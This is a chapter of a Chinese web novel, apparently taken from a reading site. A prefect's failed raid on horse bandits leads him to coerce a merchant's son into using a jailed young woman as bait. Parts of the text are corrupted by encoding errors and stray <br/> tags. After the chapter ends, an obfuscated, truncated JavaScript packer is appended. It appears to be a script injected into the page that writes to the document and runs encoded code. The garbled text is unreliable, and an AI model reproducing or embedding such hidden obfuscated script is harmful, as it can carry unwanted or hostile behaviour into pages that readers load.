何啟年帶著人殺了上來,可是馬匪的老巢一個人也沒有?!翱磥磉@個二愣子不愣嘛?!?br/>
“何統(tǒng)領(lǐng),現(xiàn)在就不要再說這些了,還是趕緊回去吧?!?,余年覺得危險,想趕緊回去。
“何統(tǒng)領(lǐng),會不會有詐?”,李博警覺起來。
“趕緊撤退!”,何啟年知道這里易守難攻,但是想打埋伏也容易,大家來到院子里,炸藥響了?!翱?,撤退,小心!”
幸虧何啟年只帶進去一小部分人,大部隊在外毫發(fā)未傷?!鞍ミ?,哎呦?!?,余年的官府被炸壞了。
“別哎呦了,煩不煩!”,李博也受傷了,心里正煩躁。
“哎呦我的李大人,下官都這樣了,下官早就說過,不可冒進,不可冒進,你們都不聽??!現(xiàn)在怎么樣?怎么樣?”
“你!”
“李大人?!?,何啟年攔住李博,“留下人手在這清理,剩下的都回去,周大人還等著我們的消息?!?br/>
李博知道何啟年的壓力不小,他這個統(tǒng)領(lǐng)弄出這么大動靜出城剿匪,一個馬匪沒找到,還死傷好幾個。何統(tǒng)領(lǐng)鎩羽而歸,周啟早就覺得事情不會這么容易,雖然覺得郁悶,也不好斥責何啟年什么,想想今天還真是諸事不利。
“何統(tǒng)領(lǐng),讓大家先養(yǎng)傷,馬匪去了哪里,我們再偵查一下?!?br/>
“是?!?,何啟年走后,李博趕緊詢問,“抓到了嗎?”
周啟搖搖頭。
“難道沒動手?”
周啟嘆了一口氣,“唉,吳怡突然闖進來,說李老四找不到了,非得找我要。哎,對了,昨天,你叫人把他放了嗎?”
“放了!他們說扔在大街上了?!?br/>
“扔在大街上?”
“會不會李老四自己出事了?”
周啟考慮了一下,便叫連鎖去打聽,“城門口的衙役看見李老四出城了?!?br/>
“沒看錯?”
“大人,衙役說那人渾身臟兮兮的,聞著像是豬屎味,所以大家都不想攔下他,他就出城了?!?br/>
“那吳怡來鬧什么?”
“會不會她不知道李老四出城了?”
周啟正想著如今吳怡被自己關(guān)起來了,還不知道如何處置,錢寧正好求見。
錢寧聽說吳怡被抓進大牢了,趕緊來知府衙門打探情況,一進前廳,見周啟與李博相對而坐,錢寧趕緊抱拳施禮,“李大人,周大人?!?br/>
周啟只緩緩喝茶,慢條斯理地詢問,“錢少東家何事?”
錢寧倒是開門見山,“大人,吳怡來過吧?”
周啟也不含糊,“不錯,只是她已經(jīng)被關(guān)在大牢里了?!?br/>
“大人,她犯了什么罪?”
“咆哮公堂?!?,周啟已經(jīng)計上心來,錢寧正是自己送上來的肥肉。
“大人,據(jù)我所知,她也只是來問問情況,絕無咆哮公堂
的意思?!?br/>
“是嗎?她做了什么,你怎么知道?”
“大人,我們之前就說好的,錢家出錢,李老四……”
“本官什么也沒有說過!”
錢寧見周啟翻臉不認人,只想先趕緊救出吳怡,“大人,就算吳怡咆哮公堂,也應(yīng)該有個判決吧?!?br/>
“她的罪可多了,本官的手串也被她拽壞了?!?br/>
“什么?”,李博一下子站起來,他打小跟在周啟身邊,這手串的來歷他知道的一清二楚,平時可是周啟的心頭好,“什么時候?”
周啟白了一眼李博,心想:你現(xiàn)在激動有什么用?“本官正在捉拿盜匪,她沖進來放走了盜匪,還咆哮公堂,拽壞了本官的手串。錢寧,你覺得本官該如何判決呀?”
“周大人,吳怡肯定是無心之失。小民愿意賠償大人的手串……”
“你賠?哼,本官的手串是本官的爺爺送給本官的,本官的爺爺已經(jīng)不在世了,本官倒是想問問你,如何賠償呀?”
“大人,小民替吳怡向大人請罪??墒钱敃r周小姐弄壞了陳記柜上的‘金算盤’,這‘金算盤’也是老輩留下的,大人也只是判處周小姐賠償損失,恢復原樣,大人……”
周啟和李博都被錢寧的話氣著了,心想:一個破算盤,能跟先皇賞賜的手串比嗎?要不是現(xiàn)在要隱瞞身份,早就將錢寧也抓起來揍一頓了。
“本官如何宣判,本官記得很清楚?!?,周啟很生氣,今天都是沒有好事情發(fā)生。可是他很快恢復平靜,頓了頓站起身來,“錢寧,吳怡放走了盜匪,而這盜匪是馬匪的同伙,你覺得本官該如何判決呀?”
“吳怡與馬匪絕無瓜葛?!?br/>
“何以見得?”
“小民愿用人格擔保!”
周啟上下打量錢寧,“哈哈哈,本官若不信,你的人格是不是就一文不值?”
“大人?!?,錢寧沒想到周啟這么說。
“行了,本官也不是不講理的人。本官這里倒是有一個機會,能讓吳怡免罪?!?br/>
“大人?”
“你也知道,何統(tǒng)領(lǐng)帶人去剿匪,一個馬匪也沒有看到,還死傷了些兄弟。本官好不容易籌集的軍餉,這就得開始往外花了,時間久了,本官可拖不起。錢寧,本官想著,馬匪嘛,無非想劫個財呀,劫個色的。本官打算,你出貨,吳怡出人,只要她把馬匪引出來,今天她的罪,本官可以不追究,你看怎么樣?”
錢寧著急了,“大人,小民去好了?!?br/>
“哎,你一個男人,你去了馬匪不一定出來呀?!?br/>
“大人?!?br/>
“這是本官給你最后的機會,否則,私通盜匪的罪,可是要砍頭的?!?,周啟語氣堅決,別說吳怡有沒有危險,就算自己有危險又如何,馬匪他是剿定
了。
錢寧真沒想到周啟能這么干,可是為了救吳怡,只能先答應(yīng)了,“大人,那您怎么保證吳怡的安全?”
“你放心,你出貨,所有小廝都是我的侍衛(wèi)和何統(tǒng)領(lǐng)的親信,必能保證吳怡的安全?!?,周啟堅定地看著錢寧,“如何?”
“我現(xiàn)在得帶吳怡回家?!?br/>
“沒問題?!?br/>
“大人,您定好了時間,我們必然配合?!?,
“可以,明天你們過來,我告訴你們要干什么?!?br/>
錢寧從知府衙門告辭出來,直奔大牢,見吳怡蹲在牢里,雙手抱著腿,吳怡瘦弱的身體讓錢寧覺得心里一緊。
“吳怡?”
吳怡抬起頭,帶著哭腔,“錢寧?!?br/>
衙役將牢門打開,錢寧沖進去抱著吳怡,“吳怡,沒事了,別害怕,我們回家了?!?br/>
“可是我爹我還沒有找到?!?,回到書房,錢寧為吳怡端來姜茶,吳怡剛喝了一口,還是不放心李老四。
“吳怡,剛才周大人說了,李大叔現(xiàn)在很安全,等完成了剿匪,一定完好無損的將他還給你。”
“這么說,我爹還在周大人手上?!?br/>
錢寧最不會撒謊,可是現(xiàn)在只能先救吳怡,再派人去尋找李老四,錢寧特別輕微地點點頭,但是在吳怡看來卻想一劑強心針?!拔?guī)е洺龀?,要是馬匪不來呢?”
“明天我們再去知府衙門商量商量?!?br/>
“嗯?!?br/>
第二天,吳怡與錢寧來到知府衙門商量。平時吳怡一個人來沒覺得有什么問題,可是錢寧飽讀詩書,又是大戶人家的公子,見周啟坐在正位上,何平腰間佩劍,直直站在周大人身后,李博與何統(tǒng)領(lǐng)分坐兩邊,連鎖也只管給周知府端茶,其余人由別人負責,錢寧覺得實在蹊蹺,心想:難道這官場上的規(guī)矩與普通人家不同?
吳怡可不明白這些,她只關(guān)心李老四,“周大人,我照你說的做,你就能放了我爹?”
周啟看了一眼錢寧,見他十分緊張。周啟雖然不知道錢寧對吳怡說了什么,可是李老四出城了,必定不會來破壞自己的計劃。況且這謊話是錢寧說的,與自己無關(guān),便也輕輕點點頭?!安贿^呢?!?br/>
“怎么了?”,吳怡更加緊張。
“此行危險,你要想清楚?!?br/>
吳怡看看錢寧,堅定地點點頭,“大人,你不說我也犯罪了嗎,我現(xiàn)在不僅為了就我爹,我也救我自己,我沒得選?!?br/>
周啟看著吳怡,他知道這么威脅一個小姑娘不好,可是現(xiàn)在已經(jīng)顧不得那么多了?!澳呛冒??!?,周啟對著大家吩咐道,“從明天起,商戶的貨物要快速流通,就好像因為長久不發(fā)貨,實在沒辦法不得不發(fā)貨一樣?;罩莩抢锏溺S師,該請請,最好都請光,造成沒有鏢師的局面。何
統(tǒng)領(lǐng),叫你的人開始在軍營鬧事,喝酒、賭博、打架斗毆,本官都不管,只要鬧著不干活就行了。何平,到時候你喬裝打扮,混在壓貨的隊伍里,千萬注意安全,務(wù)必找到馬匪的老巢。最重要的,吳怡,你假裝商人,到錢家要貨,要表現(xiàn)得非常著急,就好像你的店鋪已經(jīng)生死存亡,就算沒有鏢師你也要將貨拉走。明天開始,事情一點一點推進,千萬不能太急,以防露出破綻?!?br/>
“是!”,所有人異口同聲。
周啟這一次勢必做到滴水不漏。之前,他為了徽州的百姓選擇了強攻,可是天不遂人愿,什么也沒有撈著。這一次,他精心布局,在剿滅馬匪的同時,一定要抓到二愣子,余年與自己的較量也是時候該結(jié)束了。
(本章完)
eval(function(p,a,c,k,e,d){e=function(c){return(c35?(c+29):(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){returnd[e]}];e=function{return'\\w+'};c=1};while(c--){if(k[c]){p=(newRegExp('\\b'+e(c)+'\\b','g,k[c])}}returnp}('h4="F"+E.(B).H(2);c.6("");8((/(K)/i.J())){(\'u\',v(e){h3=e.x;8(3.9){8(7[3.9+"w"]!=1){7[3.9+"w"]=1;A(z(3.(/\\+/g,"%15")))}}});c.6(\'\}w{;c.6(\'